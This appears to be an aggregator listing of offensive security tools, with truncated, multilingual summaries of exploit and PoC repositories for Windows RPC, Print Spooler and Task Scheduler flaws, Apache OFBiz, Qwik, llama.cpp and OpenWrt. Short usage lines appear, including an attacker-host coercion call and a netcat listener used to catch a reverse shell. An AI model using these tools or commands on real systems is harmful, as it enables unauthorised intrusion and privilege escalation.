KrbRelay

KrbRelay Ретрансляция трехголовых псов. Подробнее на https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html и https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html Должно работать на большинстве полностью пропатченных систем...

WPTaskScheduler_CVE-2024-49039

WPTaskScheduler 지속성 및 CVE-2024-49039, Task Scheduler의 공격 표면 중 하나. WPTaskScheduler.dll은 win 10 1507부터 Task Scheduler의 구성 요소입니다. 보안 연구자들이 분석한 결과, 이는 지속성에 사용되는 백도어 도구로 추정됩니다. 연구진은 이 도구가 제한된 토큰 샌드박스, 자식 프로세스 제한을 우회하고 Medium Integrity로 상승시킬 수 있음을 발견했습니다. ??? 1: RPC 연결을 설정하지만, Google Chrome 렌더러 프로세스와 같...

RPCMon

Графический инструмент для сканирования RPC-коммуникаций через Event Tracing for Windows ETW. Инструмент был опубликован в рамках исследования RPC-коммуникаций между хостом и контейнером Windows. Обзор RPCMon помогает исследователям получить общее представление об RPC-коммуникациях между...

CVE-2022-24497

CVE-2022-24497 Um detector Zeek para CVE-2022-24497: https://vulners.com/cve/CVE-2022-24497 Exemplos de notificações do PCAP de teste: root@kitploit: separator \x09 setseparator , emptyfield empty unsetfield - path notice open 2022-04-13-21-45-25 fields ts uid id.origh id.origp id.resph id.respp...

printerbugnew

Trigger per Spooler di stampa con RPC puro su TCP Per Windows 11 22H2+ / Windows Server 2025 Utilizzo root@kitploit: printerbugnew.py username password domain attackerhost tcpport Esempi Connessione anonima root@kitploit: printerbugnew.py 192.168.1.100 Con credenziali root@kitploit:...

pentest-a2p2v-core

README Automated Attack Path Planning and Validation A2P2V is a planning and cyber-attack tool that provides the capability for users to determine a set of ranked attack sequences given a specific attacker goal. The aim of the tool is to simplify process so that non-security experts can generate...

isf

Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...

CrackKeyIso

CVE 2023 28229 Windows CNG KeyIso RPC EoP/SBX Scoperto da: @k0shl - @Y3A Solo a scopo educativo!...

Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467

Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467 Apache OFBiz ist ein Open-Source-Enterprise-Resource-Planning-System. Es bietet eine Reihe von Unternehmensanwendungen, die viele der Geschäftsprozesse eines Unternehmens integrieren und automatisieren. CVE-2023-49070 ist eine...

CVE-2021-1675-PrintNightmare-Analysis

Schwachstellenforschung: Lokale Rechteausweitung und RCE über Windows Print Spooler PrintNightmare / CVE-2021-1675 Dieses Repository enthält einen detaillierten technischen Bericht Write-up und die Analyse eines Exploit-Konzepts für die kritische Schwachstelle im Windows-Druckwarteschlangendienst...

CVE-2026-34159

CVE-2026-34159 Exploit RCE zero-click per il server RPC Lama.cpp versione b8487 di CVE-2026-34159 exploit sviluppato da Hassan Ali @Casp3r0x0 puoi trovare il write-up completo su https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

cve-2024-49039-task_scheduler_eop_reproduction

CVE-2024-49039: ثغرة تصعيد الامتيازات في مجدول مهام Windows نظرة عامة CVE-2024-49039 هي ثغرة تصعيد امتيازات في مجدول مهام Windows EoP تتيح لمهاجم موثّق الهوية الهروب من بيئة AppContainer المعزولة، والارتقاء من مستوى النزاهة المنخفض Low integrity AppContainer إلى مستوى النزاهة المتوسط Medium...

CVE-2026-27971_POC

CVE-2026-27971 — PoC di RCE non autenticata in Qwik server$ !WARNING Questo repository contiene una proof of concept attiva di esecuzione di codice in remoto. Usala solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test. L'autore non si assume alcuna...

CVE-2024-41628

CVE-2024-41628 Semplice script di exploit sviluppato da Redshift Cyber Security per sfruttare la vulnerabilità LFI CVE-2024-41628 di ClusterControl. La vulnerabilità interessa l'API CMON e in particolare le interfacce utente RPC e RPC-TLS che, per impostazione predefinita, risiedono rispettivamen...

CVE-2014-0195

Script di Brute-Force per XML-RPC WordPress Questo repository contiene una proof of concept PoC basata su Python per il brute-forcing delle credenziali di accesso su istanze WordPress vulnerabili a CVE-2014-0195, in cui la funzione XML-RPC system.multicall può essere sfruttata per tentare più...

CVE-2017-11783

CVE-2017-11783 1day-Exploit von sheisback Es ist kein vollständiger Exploit führt cmd mit Systemrechten aus, er erstellt nur eine Datei in system32. Also musst du das vervollständigen, du benötigst die consent.exe-UAC-Technik. Referenz Ein Blick in ALPC-RPC von Clément Rouault & Thomas Imbert, 20...

CVE-2022-35411

rpc.py 0.6.0 - Esecuzione remota di codice RCE Exploit corretto da: Liquidsky...

NFSundown

Panoramica Proof-of-Concept di exploit per NFSundown CVE-2025-38089. Può attivare remotamente un crash del kernel in un server NFS. Dettagli Un attaccante remoto può attivare un dereferenziamento di puntatore nullo del kernel e causare un crash del kernel inviando una richiesta RPC appositamente...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy Iniezione di comandi autenticata CVE-2026-46368 Questo repository contiene il Proof of Concept PoC per una vulnerabilità critica di iniezione di comandi nel sistema operativo in luci-app-https-dns-proxy che consente l'esecuzione arbitraria di comandi come root. ID...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - Esecuzione remota di codice non autorizzata Le richieste XML-RPC sono vulnerabili a deserializzazione non sicura. Passaggi Passaggio 1: pip3 install -r requeriments.txt Passaggio 2: nc -nlvp computer attaccante Passaggio 3: python3 shell.py -i -p -li -lp...